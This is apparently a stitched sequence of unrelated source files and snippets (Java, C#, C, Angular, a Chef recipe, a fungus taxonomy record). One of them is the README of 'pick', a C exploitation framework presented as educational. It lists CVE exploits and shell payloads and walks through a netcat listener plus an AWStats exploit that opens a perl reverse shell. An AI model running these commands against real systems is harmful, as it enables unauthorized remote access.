        ArrayExpr.builder()
            .setType(
                TypeNode.createArrayTypeOf(
                    TypeNode.withReference(ConcreteReference.withClazz(UnaryOperationExpr.class))))
            .build();
    arrayExpr.accept(writerVisitor);
    assertEquals(
        "import com.google.api.generator.engine.ast.UnaryOperationExpr;\n\n",
        writerVisitor.write());
  }

  /** =============================== HELPERS =============================== */
  private static Variable createVariable(String variableName, TypeNode type) {
    return Variable.builder().setName(variableName).setType(type).build();
  }
}


text:
namespace Microsoft.Graph
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Runtime.Serialization;

    /// <summary>
    /// The type MessageReplyRequestBody.
    /// </summary>
    [DataContract]
    public partial class MessageReplyRequestBody
    {

        /// <summary>
        /// Gets or sets Comment.
        /// </summary>
        [DataMember(Name = "Comment", EmitDefaultValue = false, IsRequired = false)]
        public string Comment { get; set; }

    }
}

redpajama_set_name: RedPajamaGithub


text:
/**********************************************************************
   Copyright [2014] [Cisco Systems, Inc.]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
**********************************************************************/

/**************************************************************************

    module: cosa_upnp_internal.c

        For COSA Data Model Library Development

    -------------------------------------------------------------------

    description:

        This file implementes back-end apis for the COSA Data Model Library

        *  CosaUpnpCreate
        *  CosaUpnpInitialize
        *  CosaUpnpRemove
    -------------------------------------------------------------------

    environment:

        platform independent

    -------------------------------------------------------------------

    author:

        COSA XML TOOL CODE GENERATOR 1.0

    -------------------------------------------------------------------

    revision:

        01/11/2011    initial revision.

**************************************************************************/

#include "cosa_upnp_internal.h"

/**********************************************************************

    caller:     owner of the object

    prototype:

        ANSC_HANDLE
        CosaUpnpCreate
            (
            );

    description:

        This function constructs cosa Time object and return handle.

    argument:

    return:     newly created Time object.

**********************************************************************/

ANSC_HANDLE
CosaUpnpCreate
    (
        VOID
    )
{
    ANSC_STATUS           returnStatus = ANSC_STATUS_SUCCESS;
    PCOSA_DATAMODEL_UPNP  pMyObject    = (PCOSA_DATAMODEL_UPNP)NULL;

    /*
     * We create object by first allocating memory for holding the variables and member functions.
     */
    pMyObject = (PCOSA_DATAMODEL_UPNP)AnscAllocateMemory(sizeof(COSA_DATAMODEL_UPNP));

    if ( !pMyObject )
    {
        return  (ANSC_HANDLE)NULL;
    }

    /*
     * Initialize the common variables and functions for a container object.
     */
    pMyObject->Oid               = COSA_DATAMODEL_UPNP_OID;
    pMyObject->Create            = CosaUpnpCreate;
    pMyObject->Remove            = CosaUpnpRemove;
    pMyObject->Initialize        = CosaUpnpInitialize;

    pMyObject->Initialize   ((ANSC_HANDLE)pMyObject);

    CosaDmlUpnpInit(NULL, NULL);

    return  (ANSC_HANDLE)pMyObject;
}

/**********************************************************************

    caller:     self

    prototype:

        ANSC_STATUS
        CosaTimeInitialize
            (
                ANSC_HANDLE                 hThisObject
            );

    description:

        This function initiate  cosa Time object and return handle.

    argument:   ANSC_HANDLE                 hThisObject
            This handle is actually the pointer of this object
            itself.

    return:     operation status.

**********************************************************************/

ANSC_STATUS
CosaUpnpInitialize
    (
        ANSC_HANDLE                 hThisObject
    )
{
    ANSC_STATUS               returnStatus = ANSC_STATUS_SUCCESS;
    PCOSA_DATAMODEL_UPNP      pMyObject    = (PCOSA_DATAMODEL_UPNP)hThisObject;
    ULONG                     val          = 1;

    /* Initiation all functions */
    CosaDmlUpnpInit(NULL, NULL);

    pMyObject->bUpnpDevEnable               = CosaDmlUpnpDevGetState(NULL);
    pMyObject->bUpnpDevMediaServerEnable    = CosaDmlUpnpDevGetMediaServerState(NULL);
    pMyObject->bUpnpDevIgdEnable            = CosaDmlUpnpDevGetIgdState(NULL);
    pMyObject->uUpnpIgd                     = val;

    CosaDmlUpnpDevGetArchVer(NULL, &pMyObject->uMajorVer, &pMyObject->uMinorVer);

    return returnStatus;
}

/**********************************************************************

    caller:     self

    prototype:

        ANSC_STATUS
        CosaTimeRemove
            (
                ANSC_HANDLE                 hThisObject
            );

    description:

        This function initiate  cosa Time object and return handle.

    argument:   ANSC_HANDLE                 hThisObject
            This handle is actually the pointer of this object
            itself.

    return:     operation status.

**********************************************************************/

ANSC_STATUS
CosaUpnpRemove
    (
        ANSC_HANDLE                 hThisObject
    )
{
    ANSC_STATUS               returnStatus = ANSC_STATUS_SUCCESS;
    PCOSA_DATAMODEL_UPNP      pMyObject    = (PCOSA_DATAMODEL_UPNP)hThisObject;

    /* Remove necessary resounce */

    /* Remove self */
    AnscFreeMemory((ANSC_HANDLE)pMyObject);

    return returnStatus;
}


text:
package com.example.zu.firstweather.model;

/**
 * Created by zu on 2015/7/9.
 */
public class County extends Province
{
    private int cityId;
    public int getCityId()
    {
        return cityId;
    }

    public void setCityId(int id)
    {
        cityId=id;
    }
}


text:
package org.appfuse.util;

import java.util.Date;

import junit.framework.TestCase;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

public class DateUtilTest extends TestCase {
    //~ Instance fields ========================================================

	private final Log log = LogFactory.getLog(DateUtilTest.class);

    //~ Constructors ===========================================================

    public DateUtilTest(String name) {
    	super(name);
    }

    public void testGetDatePattern() throws Exception {
        String pattern = DateUtil.getDatePattern();
        assertTrue(pattern.equals("MM/dd/yyyy"));
    }

    public void testGetDate() throws Exception {
        if (log.isDebugEnabled()) {
            log.debug("db date to convert: " + new Date());
        }

        String date = DateUtil.getDate(new Date());

        if (log.isDebugEnabled()) {
            log.debug("converted ui date: " + date);
        }

        assertTrue(date != null);
    }

    public void testGetDateTime() {
    	if (log.isDebugEnabled()) {
    		log.debug("entered 'testGetDateTime' method");
    	}
		String now = DateUtil.getTimeNow(new Date());
		assertTrue(now != null);
		log.debug(now);
    }

    public static void main(String[] args) {
        junit.textui.TestRunner.run(DateUtilTest.class);
    }
}


text:
#include <boost/math/bindings/rr.hpp>
#include <boost/test/included/test_exec_monitor.hpp>
#include <boost/math/special_functions/zeta.hpp>
#include <boost/math/constants/constants.hpp>
#include <boost/math/tools/test.hpp>
#include <fstream>

#include <boost/math/tools/test_data.hpp>

using namespace boost::math::tools;
using namespace std;

struct zeta_data_generator
{
   boost::math::ntl::RR operator()(boost::math::ntl::RR z)
   {
      std::cout << z << " ";
      boost::math::ntl::RR result = boost::math::zeta(z);
      std::cout << result << std::endl;
      return result;
   }
};

struct zeta_data_generator2
{
   boost::math::tuple<boost::math::ntl::RR, boost::math::ntl::RR> operator()(boost::math::ntl::RR z)
   {
      std::cout << -z << " ";
      boost::math::ntl::RR result = boost::math::zeta(-z);
      std::cout << result << std::endl;
      return boost::math::make_tuple(-z, result);
   }
};

int test_main(int argc, char*argv [])
{
   boost::math::ntl::RR::SetPrecision(500);
   boost::math::ntl::RR::SetOutputPrecision(40);

   parameter_info<boost::math::ntl::RR> arg1;
   test_data<boost::math::ntl::RR> data;

   bool cont;
   std::string line;

   std::cout << "Welcome.\n"
      "This program will generate spot tests for the zeta function:\n";

   do{
      if(0 == get_user_parameter_info(arg1, "z"))
         return 1;
      arg1.type |= dummy_param;
      data.insert(zeta_data_generator2(), arg1);

      std::cout << "Any more data [y/n]?";
      std::getline(std::cin, line);
      boost::algorithm::trim(line);
      cont = (line == "y");
   }while(cont);

   std::cout << "Enter name of test data file [default=zeta_data.ipp]";
   std::getline(std::cin, line);
   boost::algorithm::trim(line);
   if(line == "")
      line = "zeta_data.ipp";
   std::ofstream ofs(line.c_str());
   write_code(ofs, data, "zeta_data");

   return 0;
}


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
Boletus in Malaysia (Singapore) 242 (1972)

#### Original name
Boletus blanditus Corner

### Remarks
null


text:
// Copyright 2014 The Bazel Authors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.devtools.build.lib.syntax;

import com.google.devtools.build.lib.syntax.SkylarkList.MutableList;
import com.google.devtools.build.lib.syntax.SkylarkList.Tuple;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

/**
 * Syntax node for list and tuple literals.
 *
 * <p>(Note that during evaluation, both list and tuple values are represented by
 * java.util.List objects, the only difference between them being whether or not
 * they are mutable.)
 */
public final class ListLiteral extends Expression {

  /**
   * Types of the ListLiteral.
   */
  public static enum Kind {LIST, TUPLE}

  private final Kind kind;

  private final List<Expression> exprs;

  public ListLiteral(Kind kind, List<Expression> exprs) {
    this.kind = kind;
    this.exprs = exprs;
  }

  public static ListLiteral makeList(List<Expression> exprs) {
    return new ListLiteral(Kind.LIST, exprs);
  }

  public static ListLiteral makeTuple(List<Expression> exprs) {
    return new ListLiteral(Kind.TUPLE, exprs);
  }

  /** A new literal for an empty list, onto which a new location can be specified */
  public static ListLiteral emptyList() {
    return makeList(Collections.<Expression>emptyList());
  }

  public Kind getKind() {
    return kind;
  }

  public List<Expression> getElements() {
    return exprs;
  }

  /**
   * Returns true if this list is a tuple (a hash table, immutable list).
   */
  public boolean isTuple() {
    return kind == Kind.TUPLE;
  }

  @Override
  public String toString() {
    StringBuilder sb = new StringBuilder();
    Printer.printList(sb, exprs, isTuple(), '"', Printer.SUGGESTED_CRITICAL_LIST_ELEMENTS_COUNT,
        Printer.SUGGESTED_CRITICAL_LIST_ELEMENTS_STRING_LENGTH);
    return sb.toString();
  }

  @Override
  Object doEval(Environment env) throws EvalException, InterruptedException {
    List<Object> result = new ArrayList<>(exprs.size());
    for (Expression expr : exprs) {
      // Convert NPEs to EvalExceptions.
      if (expr == null) {
        throw new EvalException(getLocation(), "null expression in " + this);
      }
      result.add(expr.eval(env));
    }
    return isTuple() ? Tuple.copyOf(result) : new MutableList(result, env);
  }

  @Override
  public void accept(SyntaxTreeVisitor visitor) {
    visitor.visit(this);
  }

  @Override
  void validate(ValidationEnvironment env) throws EvalException {
    for (Expression expr : exprs) {
      expr.validate(env);
    }
  }
}


text:
"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
  d: "M21 4H7V2H5v20h2v-8h14l-2-5 2-5zm-6 5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2z"
}), 'TourSharp');
exports.default = _default;


text:
const path = require('path');
const webpack = require('webpack');

module.exports = {
  context: process.cwd(),
  entry: {
    react: [
      'babel-polyfill',
      'core-js',
      'react',
      'react-dom',
      'react-router',
      'redux',
      'react-redux',
      'redux-saga',
    ],
  },

  output: {
    filename: 'dll.[name].js',
    path: path.join(__dirname, '..', 'dll'),

    // The name of the global variable which the library's
    // require() function will be assigned to
    library: '[name]',
  },

  plugins: [
    new webpack.DllPlugin({
      // The path to the manifest file which maps between
      // modules included in a bundle and the internal IDs
      // within that bundle
      path: 'dll/[name]-manifest.json',
      // The name of the global variable which the library's
      // require function has been assigned to. This must match the
      // output.library option above
      name: '[name]',
    }),
  ],
};


text:
namespace Google.Cloud.AIPlatform.V1.Snippets
{
    // [START aiplatform_v1_generated_TensorboardService_CreateTensorboardExperiment_async]
    using Google.Cloud.AIPlatform.V1;
    using System.Threading.Tasks;

    public sealed partial class GeneratedTensorboardServiceClientSnippets
    {
        /// <summary>Snippet for CreateTensorboardExperimentAsync</summary>
        /// <remarks>
        /// This snippet has been automatically generated for illustrative purposes only.
        /// It may require modifications to work in your environment.
        /// </remarks>
        public async Task CreateTensorboardExperimentRequestObjectAsync()
        {
            // Create client
            TensorboardServiceClient tensorboardServiceClient = await TensorboardServiceClient.CreateAsync();
            // Initialize request argument(s)
            CreateTensorboardExperimentRequest request = new CreateTensorboardExperimentRequest
            {
                ParentAsTensorboardExperimentName = TensorboardExperimentName.FromProjectLocationTensorboardExperiment("[PROJECT]", "[LOCATION]", "[TENSORBOARD]", "[EXPERIMENT]"),
                TensorboardExperiment = new TensorboardExperiment(),
                TensorboardExperimentId = "",
            };
            // Make the request
            TensorboardExperiment response = await tensorboardServiceClient.CreateTensorboardExperimentAsync(request);
        }
    }
    // [END aiplatform_v1_generated_TensorboardService_CreateTensorboardExperiment_async]
}


text:
import '../util/ng_dev_mode';

import {getLContext} from './context_discovery';
import {scheduleTick} from './instructions/shared';
import {ComponentInstance, DirectiveInstance, Player} from './interfaces/player';
import {RootContextFlags} from './interfaces/view';
import {addPlayerInternal, getOrCreatePlayerContext, getPlayerContext, getPlayersInternal, getStylingContextFromLView, throwInvalidRefError} from './styling/util';
import {getRootContext} from './util/view_traversal_utils';

/**
 * Adds a player to an element, directive or component instance that will later be
 * animated once change detection has passed.
 *
 * When a player is added to a reference it will stay active until `player.destroy()`
 * is called. Once called then the player will be removed from the active players
 * present on the associated ref instance.
 *
 * To get a list of all the active players on an element see [getPlayers].
 *
 * @param ref The element, directive or component that the player will be placed on.
 * @param player The player that will be triggered to play once change detection has run.
 */
export function addPlayer(
    ref: ComponentInstance | DirectiveInstance | HTMLElement, player: Player): void {
  const context = getLContext(ref);
  if (!context) {
    ngDevMode && throwInvalidRefError();
    return;
  }

  const element = context.native as HTMLElement;
  const lView = context.lView;
  const playerContext = getOrCreatePlayerContext(element, context) !;
  const rootContext = getRootContext(lView);
  addPlayerInternal(playerContext, rootContext, element, player, 0, ref);
  scheduleTick(rootContext, RootContextFlags.FlushPlayers);
}

/**
 * Returns a list of all the active players present on the provided ref instance (which can
 * be an instance of a directive, component or element).
 *
 * This function will only return players that have been added to the ref instance using
 * `addPlayer` or any players that are active through any template styling bindings
 * (`[style]`, `[style.prop]`, `[class]` and `[class.name]`).
 *
 * @publicApi
 */
export function getPlayers(ref: ComponentInstance | DirectiveInstance | HTMLElement): Player[] {
  const context = getLContext(ref);
  if (!context) {
    ngDevMode && throwInvalidRefError();
    return [];
  }

  const stylingContext = getStylingContextFromLView(context.nodeIndex, context.lView);
  const playerContext = stylingContext ? getPlayerContext(stylingContext) : null;
  return playerContext ? getPlayersInternal(playerContext) : [];
}


text:
const int square(const int x) {
  return x * x;
}

// The const has no effect here, and can easily be mistaken for const char*.
char* const id(char* s) {
  return s;
}


text:
package ru.job4j3.threads.pingpong;

import javafx.application.Application;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.shape.Rectangle;
import javafx.stage.Stage;

/**
 * Class PingPong.
 * @author v.ivanov
 * @version 1
 * @since 25.10.2018
 */
public class PingPong extends Application {

    /** Field program title.*/
    private static final String JOB4J = "Пинг-понг www.job4j.ru";

    /**
     * Entry point to the thread.
     * @param stage - program stage
     */
    @Override
    public void start(Stage stage) {
        int limitX = 300;
        int limitY = 300;
        Group group = new Group();
        Rectangle rect = new Rectangle(50, 100, 10, 10);
        group.getChildren().add(rect);
        Thread app = new Thread(new RectangleMove(rect));
        app.start();
        stage.setScene(new Scene(group, limitX, limitY));
        stage.setTitle(JOB4J);
        stage.setResizable(false);
        stage.setOnCloseRequest(
                event -> app.interrupt()
        );
        stage.show();
    }
}


text:
include_recipe "apt::docker"

package %w[
  docker-ce
  docker-ce-cli
  containerd.io
]

directory "/etc/docker" do
  owner "root"
  group "root"
  mode "755"
end

template "/etc/docker/daemon.json" do
  source "daemon.json.erb"
  owner "root"
  group "root"
  mode "644"
end

service "docker" do
  action [:enable, :start]
  subscribes :restart, "template[/etc/docker/daemon.json]"
end


text:
package architect;

import android.content.Intent;
import android.os.Bundle;

/**
 * Hook up Navigator to the Android lifecyle
 * Can be used both in Activity (call the equivalent Activity methods) and in ViewPresenter
 *
 * @author Lukasz Piliszczuk - lukasz.pili@gmail.com
 */
public class NavigatorLifecycleDelegate {

    private static final String HISTORY_KEY =
            Navigator.class.getSimpleName() + "_history";

    private final Navigator navigator;

    public NavigatorLifecycleDelegate(Navigator navigator) {
        this.navigator = navigator;
    }

    public void onCreate(Intent intent, Bundle savedInstanceState, NavigatorView containerView, StackablePath... defaultPaths) {
        Preconditions.checkNotNull(containerView, "Container view cannot not be null");
        Preconditions.checkArgument(defaultPaths != null && defaultPaths.length > 0, "Default path cannot not be null nor empty");

        if (navigator.history.shouldInit()) {
            Bundle bundle = null;
            if (!navigator.config.dontRestoreStackAfterKill) {
                if (intent != null && intent.hasExtra(HISTORY_KEY)) {
                    bundle = intent.getBundleExtra(HISTORY_KEY);
                } else if (savedInstanceState != null && savedInstanceState.containsKey(HISTORY_KEY)) {
                    bundle = savedInstanceState.getBundle(HISTORY_KEY);
                }
            }

            if (bundle != null) {
                navigator.history.init(bundle);
            } else {
                navigator.history.init(defaultPaths);
            }
        }

        navigator.presenter.attach(containerView);
        navigator.dispatcher.activate();
    }

    //TODO: copy past from Flow, but not tested
    public void onNewIntent(Intent intent) {
        Preconditions.checkNotNull(intent, "Intent may not be null");
        if (navigator.history.shouldInit() && intent.hasExtra(HISTORY_KEY)) {
            navigator.history.init(intent.getBundleExtra(HISTORY_KEY));
        }
    }

    public void onSaveInstanceState(Bundle outState) {
        Preconditions.checkNotNull(outState, "SaveInstanceState bundle may not be null");
        Bundle bundle = navigator.history.toBundle();
        if (bundle != null) {
            outState.putBundle(HISTORY_KEY, bundle);
        }
    }

    public void onStart() {
        Logger.d("Lifecycle onStart");
        navigator.presenter.activate();
        navigator.dispatcher.startDispatch();
    }

    public void onStop() {
        Logger.d("Lifecycle onStop");
        navigator.presenter.desactivate();
    }

    public void onDestroy() {
        navigator.dispatcher.desactivate();
        navigator.presenter.detach();
    }

    public boolean onBackPressed() {
        if (navigator.presenter.containerViewOnBackPressed()) {
            return true;
        }

        return navigator.back();
    }
}


text:
package org.usfirst.frc.team2141.robot.commands.chassis;

import org.usfirst.frc.team2141.robot.Robot;
import org.usfirst.frc.team2141.robot.RobotMap;

import edu.wpi.first.wpilibj.command.Command;

/**
 *
 */
public class JoyStickDriving extends Command {

	public JoyStickDriving() {
		// Use requires() here to declare subsystem dependencies
		requires(Robot.chassis);
	}

	// Called just before this Command runs the first time
	protected void initialize() {
		Robot.chassis.setBothToLow();
		//Robot.chassis.setCurrentLimitEnabled(false);
	}

	// Called repeatedly when this Command is scheduled to run
	protected void execute() {
		//Robot.chassis.setCurrentLimitEnabled(false);
		double leftVelocity = Robot.chassis.getLeftEncoderVelocity();
		double leftSetpoint = Robot.chassis.getLeftMotorVelocitySetpoint();
		double rightVelocity = Robot.chassis.getRightEncoderVelocity();
		double rightSetpoint = Robot.chassis.getRightMotorVelocitySetpoint();

    	if (leftSetpoint < RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			leftSetpoint > -RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			rightSetpoint < RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			rightSetpoint > -RobotMap.SHIFTING_SPEED_THRESHOLD){
    		Robot.chassis.setBothToLow();
    	}else if(leftVelocity > RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			leftSetpoint > leftVelocity &&
    			rightVelocity > RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			rightSetpoint > rightVelocity){
    		Robot.chassis.setBothToHigh();
    	}else if(leftVelocity < -RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			leftSetpoint < leftVelocity &&
    			rightVelocity < -RobotMap.SHIFTING_SPEED_THRESHOLD &&
    			rightSetpoint < rightVelocity){
    		Robot.chassis.setBothToHigh();
    	}

    	Robot.chassis.arcadeDrive(Robot.oi.getRightY(), Robot.oi.getLeftX());

    }

	// Make this return true when this Command no longer needs to run execute()
	protected boolean isFinished() {
		return false;
	}

	// Called once after isFinished returns true
	protected void end() {
	}

	// Called when another command which requires one or more of the same
	// subsystems is scheduled to run
	protected void interrupted() {
	}
}


text:
<!DOCTYPE html>

    <meta http-equiv="refresh" content="0;URL=../../../syn/parse/fn.ident.html">

Redirecting to ../../../syn/parse/fn.ident.html...


text:
package org.leguan.ui;

import java.io.File;
import java.io.IOException;
import javafx.animation.FadeTransition;
import javafx.application.Application;
import javafx.beans.property.ReadOnlyObjectProperty;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.concurrent.Task;
import javafx.concurrent.Worker;
import javafx.fxml.FXMLLoader;
import javafx.geometry.Pos;
import javafx.geometry.Rectangle2D;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Label;
import javafx.scene.control.ProgressBar;
import javafx.scene.effect.DropShadow;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
import javafx.scene.layout.VBox;
import javafx.scene.paint.Color;
import javafx.stage.Screen;
import javafx.stage.Stage;
import javafx.stage.StageStyle;
import javafx.util.Duration;
import org.leguan.branches.Branches;
import org.leguan.config.Configuration;
import org.leguan.config.ConfigurationService;
import org.leguan.history.HistoryService;
import org.leguan.javaclient.ApiClient;
import org.leguan.ui.controller.ClientController;
import org.leguan.ui.controller.StartupWizard;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * Example of displaying a splash page for a standalone JavaFX application
 */
public class TaskBasedSplash extends Application {

  private static final Logger LOGGER = LoggerFactory.getLogger(TaskBasedSplash.class);

  public static final String APPLICATION_ICON = "/icons/leguan.jpg";
  public static final String SPLASH_IMAGE = "/icons/leguan.jpg";

  private Pane splashLayout;
  private ProgressBar loadProgress;
  private Label progressText;
  private Stage mainStage;
  private static final int SPLASH_WIDTH = 656;
  private static final int SPLASH_HEIGHT = 197;

  private static Configuration configuration;
  private static Branches branches;
  private static ApiClient apiClient;
  private static HistoryService historyService;
  private static String [] args;

  public static void main(final Branches branches,
      final Configuration configuration,
      final HistoryService historyService,
      final ApiClient apiClient,
      String[] args) {
    TaskBasedSplash.configuration = configuration;
    TaskBasedSplash.branches = branches;
    TaskBasedSplash.apiClient = apiClient;
    TaskBasedSplash.historyService = historyService;
    TaskBasedSplash.args = args;

    launch(TaskBasedSplash.class, args);
  }

  @Override public void init() {
    ImageView splash = new ImageView(new Image(SPLASH_IMAGE));
    loadProgress = new ProgressBar();
    loadProgress.setPrefWidth(SPLASH_WIDTH - 15);
    progressText = new Label("Will find friends for peanuts . . .");
    splashLayout = new VBox();
    splashLayout.getChildren().addAll(splash, loadProgress, progressText);
    progressText.setAlignment(Pos.CENTER);
    //splashLayout.setStyle(
    //    "-fx-padding: 5; " + "-fx-background-color: white; " + "-fx-border-width:5; " + "-fx-border-color: " + "linear-gradient(" + "to bottom, " + "chocolate, " + "derive(chocolate, 50%)" + ");");
    splashLayout.setEffect(new DropShadow());
  }

  @Override public void start(final Stage initStage) throws Exception {
    final Task<ObservableList<String>> friendTask = new Task<ObservableList<String>>() {
      @Override protected ObservableList<String> call() throws InterruptedException {
        ObservableList<String> foundFriends = FXCollections.<String>observableArrayList();
        ObservableList<String> availableFriends = FXCollections
            .observableArrayList("Fili", "Kili", "Oin", "Gloin", "Thorin", "Dwalin", "Balin", "Bifur", "Bofur",
                "Bombur", "Dori", "Nori", "Ori");

        updateMessage("Finding friends . . .");
        for (int i = 0; i < availableFriends.size(); i++) {
          Thread.sleep(400);
          updateProgress(i + 1, availableFriends.size());
          String nextFriend = availableFriends.get(i);
          foundFriends.add(nextFriend);
          updateMessage("Finding friends . . . found " + nextFriend);
        }
        Thread.sleep(400);
        updateMessage("All friends found.");

        return foundFriends;
      }
    };

    showSplash(initStage, friendTask, () -> {
      try {
        showMainStage(TaskBasedSplash.args);
      } catch (IOException e) {
        throw new IllegalStateException(e);
      }
    });
    new Thread(friendTask).start();
  }

  private void showMainStage(String [] args) throws IOException {
    LOGGER.info("Starting adonai in folder " + new File("").getAbsolutePath());

    Stage mainStage = new Stage(StageStyle.UNDECORATED);
    FXMLLoader loader = new FXMLLoader(getClass().getResource("/fxml/client.fxml"));
    loader.setClassLoader(getClass().getClassLoader());
    Parent root = loader.load();
    ClientController clientController = loader.getController();
    clientController.setConfiguration(configuration);
    clientController.setHistoryService(historyService);
    clientController.setBranches(branches);
    clientController.setApiClient(apiClient);
    clientController.refreshData();

    Scene scene = new Scene(root, 1600, 1000);
    UiUtils.applyCss(scene);

    mainStage.setScene(scene);
    mainStage.show();

    /**if (configuration.getVersionsystems().isEmpty() && configuration.getActions().isEmpty() &&
     configuration.getBuildEnvs().isEmpty() && configuration.getProjects().isEmpty()) {**/
    if (args.length == 1 && args[0].equals("wizard")) {
      new StartupWizard(new ConfigurationService(), configuration);
    }
  }

  private void showSplash(final Stage initStage, Task<?> task, InitCompletionHandler initCompletionHandler) {
    progressText.textProperty().bind(task.messageProperty());
    loadProgress.progressProperty().bind(task.progressProperty());
    task.stateProperty().addListener((observableValue, oldState, newState) -> {
      if (newState == Worker.State.SUCCEEDED) {
        loadProgress.progressProperty().unbind();
        loadProgress.setProgress(1);
        initStage.toFront();
        FadeTransition fadeSplash = new FadeTransition(Duration.seconds(1.2), splashLayout);
        fadeSplash.setFromValue(1.0);
        fadeSplash.setToValue(0.0);
        fadeSplash.setOnFinished(actionEvent -> initStage.hide());
        fadeSplash.play();

        initCompletionHandler.complete();
      } // todo add code to gracefully handle other task states.
    });

    Scene splashScene = new Scene(splashLayout, Color.TRANSPARENT);
    final Rectangle2D bounds = Screen.getPrimary().getBounds();
    initStage.setScene(splashScene);
    initStage.setX(bounds.getMinX() + bounds.getWidth() / 2 - SPLASH_WIDTH / 2);
    initStage.setY(bounds.getMinY() + bounds.getHeight() / 2 - SPLASH_HEIGHT / 2);
    initStage.initStyle(StageStyle.TRANSPARENT);
    initStage.setAlwaysOnTop(true);
    initStage.show();
  }

  public interface InitCompletionHandler {
    void complete();
  }
}


text:
Aim of this project is to design and implement exploitation framework (like Metasploit) written in C language and provided as C library.

Advantages of doing so:

 * adding bindings to other programming languages is possible
 * exploitation functionality can be added to other programs
 * writing non-interactive programs with exploitation capability is possible
 * automation is possible

Despite the potential practical usage of this library main purpose of creating it by it's author are educational reasons.

Together with the library, command line utility `pick` ('wytrych' in Polish) is provided. The utility exposes API's functionality for command line use:

```
Usage: ./pick [options] --exploit <exploit> --payload <payload> --exploit-opts <options> --payload-opts <options>

Options:
   -h/--help    : this help
   -v    : verbose mode
   -d    : debug mode
   --show-exploits    : show all available exploits
   --show-payloads    : show all available payloads
   --exploit-help <exploit>    : how doc for <exploit>
   --payload-help <payload>    : how doc for <payload>
   --exploit <exploit>    : use <exploit> as exploit
   --payload <payload>    : use <payload> as payload
   --exploit-opts <n1=v1,[n2=v2,...]>    : provide exploit options
   --payload-opts <n1=v1,[n2=v2,...]>    : provide payload options
```

By default `pick` comes statically compiled which makes it perfect for checking for local privileges escalation vulnerabilities when doing server security audits.

### Typical command line session

Show available exploits:

    $ ./pick --show-exploits

Choose exploit of interest from the output:

```
[ CVE-2013-1662 ] VMWare setuid vmware-mount unsafe popen(3)
Affected software: VMWare Workstation ver. <= 9.0.2 build-1031769
References:
http://blog.cmpxchg8b.com/2013/08/security-debianisms.html
http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html
Exploit name: vmware-mount

[ NO-CVE ] Setuid Nmap Exploit
Affected software: Nmap with suid privileges
References:
 -
Exploit name: setuid-nmap

[ CVE-2006-3392 ] AWStats configdir remote command execution
Affected software: Awstats ver. <= 6.2
References:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0116
http://www.securityfocus.com/bid/12298/info
Exploit name: exec-awstats

[ CVE-2006-3392 ] Webmin/Usermin File Disclosure
Affected software: Webmin ver. < 1.290, Usermin ver. < 1.220
References:
http://secunia.com/advisories/20892/
Exploit name: fdisc-webmin
```

Show details about chosen exploit:

    $ ./pick --exploit-help exec-awstats

Output:

```
[ CVE-2006-3392 ] AWStats configdir remote command execution
Affected software: Awstats ver. <= 6.2
References:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0116
http://www.securityfocus.com/bid/12298/info
Type: remote

Exploit options:

Name   Default setting      Required
----   ---------------      --------
RHOST                       yes
RPORT  80                   yes
URI    /awstats/awstats.pl  yes
VHOST                       no
```

Show available payloads:

    $ ./pick --show-payloads

Choose from the output the one that provides desired effect:

```
null - empty payload
linux-x86-exec - executes provided linux command
cmd-bind-awk - listens for a connection & spawns shell via awk
cmd-generic - executes supplied command line
cmd-bind-nc - listens for a connection & spawns shell via netcat
cmd-bind-perl - listens for a connection & spawns shell via perl
cmd-reverse-perl - creates reverse shell via perl
```

See the details of chosen payload:

    $ ./pick --payload-help cmd-reverse-perl

Payload's details:

```
cmd-reverse-perl - creates reverse shell via perl

Payload options:

Name   Default setting  Required
----   ---------------  --------
LHOST                   yes
LPORT                   yes
```

For reverse shell payloads (`*-reverse-*`) connection handler has to be created before running the exploit. On local (192.168.1.1 in this example) machine run:

    $ nc -l -p 4444

On second terminal fire up exploit of choice with your settings:

    $ ./pick --exploit exec-awstats --payload cmd-reverse-perl --exploit-opts RHOST=192.168.1.2,RPORT=80 --payload-opts LHOST=192.168.1.1,LPORT=4444

Get back to terminal with your connection handler and (if target machine is vulnerable) enjoy interactive remote shell session.


text: from .service import GoogleOAuth2


text:
import { Component, ViewChild, ElementRef } from '@angular/core';

@Component({
    selector: 'app-root',
    templateUrl: './app.component.html'
})

export class AppComponent {
    @ViewChild('log') myLog: ElementRef;

    source: any =
    {
        dataFields: [
